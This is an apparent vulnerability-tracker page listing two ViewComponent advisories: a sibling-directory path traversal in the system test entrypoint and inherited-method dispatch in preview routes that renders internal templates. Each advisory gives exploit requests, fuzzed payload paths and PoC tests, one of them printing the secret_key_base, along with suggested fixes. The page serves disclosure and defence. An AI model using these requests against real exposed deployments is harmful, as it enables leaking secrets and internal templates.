VYPR

ViewComponent

by ViewComponent

CVEs (2)

  • CVE-2026-44837medMay 8, 2026
    risk 0.26cvss epss

    ### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. Severity: Medium; test-route scoped. Example: ```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ``` The outside path is not inside the base directory, but it passes: ```ruby @path.start_with?(base_path) ``` ### Relevant Code `app/controllers/view_components_system_test_controller.rb`: ```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ``` The route then renders the resolved file: ```ruby render file: @path ``` ### Exploit Flow Example request: ```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ``` Flow: 1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file. The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment. ### Targeted Fuzz Result The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory: ```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ``` ### PoC Test Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`: ```ruby # frozen_string_literal: true require "test_helper" require "fileutils" class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb") FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>") get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" } assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ``` Run: ```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ``` Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`. Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file. ### Suggested Fix Use path-aware containment instead of a raw string prefix. For example: ```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path) raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".." @path = path.to_s end ``` Or require a separator boundary: ```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ``` Add regression tests for: - A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it

  • CVE-2026-44836medMay 8, 2026
    risk 0.26cvss epss

    ### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. Severity: High if preview routes are externally reachable; Medium otherwise. Affected files: - `lib/view_component/preview.rb` - `app/controllers/concerns/view_component/preview_actions.rb` - `app/views/view_components/preview.html.erb` ### Relevant Code `app/controllers/concerns/view_component/preview_actions.rb`: ```ruby @example_name = File.basename(params[:path]) @render_args = @preview.render_args(@example_name, params: params.permit!) ``` `lib/view_component/preview.rb`: ```ruby example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) ``` `app/views/view_components/preview.html.erb`: ```erb <%= render template: @render_args[:template], locals: @render_args[:locals] || {} %> ``` The UI only lists direct preview methods via: ```ruby public_instance_methods(false).map(&:to_s).sort ``` But `render_args` does not enforce that list before dispatching. ### Exploit Flow Example request: ```text GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request ``` Flow: 1. `my_component` resolves to a valid preview. 2. `File.basename(params[:path])` returns `render_with_template`. 3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`. 4. Request params provide `template: "internal/secret"` and `locals: {...}`. 5. The preview view renders `internal/secret` with attacker-controlled locals. Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values. ### PoC Test This checkout already contains a PoC at: - `test/sandbox/test/security_preview_template_poc_test.rb` - `test/sandbox/app/views/internal/secret.html.erb` The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`. If reproducing manually, run: ```bash bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb ``` Equivalent standalone test: ```ruby # frozen_string_literal: true require "test_helper" class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest def setup ViewComponent::Preview.__vc_load_previews end def test_preview_route_can_invoke_inherited_render_with_template refute_includes MyComponentPreview.examples, "render_with_template" assert_raises(ActionController::RoutingError) do Rails.application.routes.recognize_path("/internal/secret") end get( "/rails/view_components/my_component/render_with_template", params: { template: "internal/secret", locals: {poc_local: "attacker-controlled-local"}, request_marker: "attacker-controlled-request" } ) assert_response :success assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo" assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local" assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request" end end ``` Fixture template: ```erb <div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div> <div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div> <div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div> ``` ### Suggested Fix Only dispatch explicitly declared preview examples: ```ruby def render_args(example, params: {}) example = example.to_s raise AbstractController::ActionNotFound unless examples.include?(example) example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) result ||= {} result[:template] = preview_example_template_path(example) if result[:template].nil? @layout = nil unless defined?(@layout) result.merge(layout: @layout) end ``` Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.